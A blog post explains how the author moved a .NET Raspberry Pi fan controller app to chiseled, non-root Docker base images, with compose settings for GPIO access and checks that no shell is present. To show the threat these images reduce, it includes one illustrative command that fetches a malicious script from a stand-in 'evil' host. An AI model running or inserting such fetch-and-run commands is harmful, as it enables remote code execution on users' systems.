Using chiseled base images for a .NET app on a Raspberry Pi
05 Apr 2024In the last post, I showed you how to use the .NET SDK Container Building Tools that ship with .NET 8 to make building Docker images easier by removing the Dockerfile
clutter.
In this post, I want to show you how this became handy when migrating one of my apps to Docker.
Introducing the Raspi Fan Controller project
Some years ago, I bought a Raspberry Pi 4 and while getting into touch with this neat mini computer, I read several times that it might get pretty hot and should better be run with a heat sink. So I decided to attach a small CPU fan and build a custom fan controller software based on .NET (read more about it here) - the Raspi Fan Controller project.
At the very beginning, I deployed it as a self-contained executable (no need to install .NET) on bare metal. However, since all of my other apps are running in Docker, I decided to containerize it, too.
The most tricky piece of this containerization was to learn about how to map the necessary paths and devices (like the Raspi’s GPIO pins) into a container. Finally, I found a working solution with a lot of help from the community and so the Raspi Fan Controller was running inside a container, too.
Chiseled base images for .NET
To be honest: when I first read the word chiseled, I thought about it being a typo 😅 it came to my attention when reading another excellent blog post from Rich Landers: Announcing .NET Chiseled Containers
If you never heard about it, here’s my very brief takeaway of the concept: Docker images are made up of layers and the lowest layers are very similar to a lightweight OS and contain necessary vital libraries and tools (e. g. a shell).
When running a container, however, it might not always be necessary to have a shell. Even more, consider a malicious component inside the container being able to run a shell and download and execute further malware via curl https://this.is.evil/killThisDevice.ps1
.
Chiseled images mitigate those issues by two approaches:
- They are non-root by default (so you can’t run
apt install
to install further tools). - They are stripped down to the bare minimum (there isn’t even the
apt
tool nor a shell).
This way, a malicious component can do way less harm.
Microsoft provides chiseled base images for .NET for Ubuntu Jammy and they are tagged with the suffix -chiseled
, e. g. mcr.microsoft.com/dotnet/aspnet:8.0-jammy-chiseled
.
Another neat benefit of chiseled images is that they are way smaller. That makes sense as they contain less tools and are stripped down. For example, the ASP.NET Core 8 image for Ubuntu Jammy is 216 MB big - the chiseled counterpart only 110 MB.
And why do you care?
Well, that’s a perfect question! One could definitely argue that in my private home network, the chance of a malicious attack might be negligibly. On the other hand, it’s a nice apprentice piece to get used to the technology and better safe than sorry.
Using chiseled images for the Raspi Fan Controller project
Since I had already containerized my project and made use of the .NET SDK Container Building Tools, providing a chiseled variant is fairly easy:
The first command we already know from the first blog post: it builds a Docker image for the Raspi’s arm64
architecture, using the non-chiseled base images by default.
For the second command, the parameter ContainerFamily
is set to jammy-chiseled
and that instructs the .NET SDK Container Building Tools to use the chiseled base image. To easily distinguish it, I use dedicated tags with the suffix -chiseled
.
Running the chiseled image
To create a Docker container from the chiseled image, the following docker-compose.yml
can be used:
Let’s dissect it piece by piece:
- The previously created image
mu88/raspifancontroller:latest-chiseled
is pulled and the container namedraspifancontroller
exposes its port8080
via5000
to the host. So far, this is basic ASP.NET Core 8. - The user ID (UID) is set to
1654
. This is a magic number for the newapp
user with non-root capabilities - another .NET 8 feature (read more about it here: Secure your .NET cloud apps with rootless Linux Containers) - The user’s group ID (GID) is set to
997
. This is the first important piece to notice as this group has the necessary permissions to control the Raspi’s GPIO pins. - The host file
/sys/class/thermal/thermal_zone0
is mapped into the container as read-only (notice the:ro
suffix). This file contains the Raspi’s current CPU temperature and is necessary for the fan controller. - Lastly, the device
/dev/gpiomem
is mapped which actually represents the GPIO pins.
When running docker compose up -d
, a Docker container will be started.
See chiseled in action
Let’s recap the benefits of chiseled images from the beginning:
- non-root by default
- reduced to the bare minimum (i. e. no shell)
Let’s validate these statements!
No shell
If there’d be a shell, we could connect to the container via docker exec -it <<container>> bash
, so let’s try it:
Nice, we get an error indicating that there is no shell ✅
Non-root by default
If there’s no shell, how can we validate that the user has only limited permissions and cannot execute commands like apt install
? We can check with a Docker command which user ID the process running inside the container has, because on Linux, the root
user always has the UID 0
.
Cool, we see that the .NET assembly RaspiFanController.dll
is running with the app
’s UID 1654
, i. e. as non-root ✅
Closing
And with that, I want to close this mini-series about non-root and chiseled containers, built with the .NET SDK Container Building Tools.
I hope you enjoyed it - have a great time and take care 👋🏻
PS: I’m very proud that some parts of this journey even made it into the official Microsoft docs: Control GPIO pins within rootless Docker container on Raspberry Pi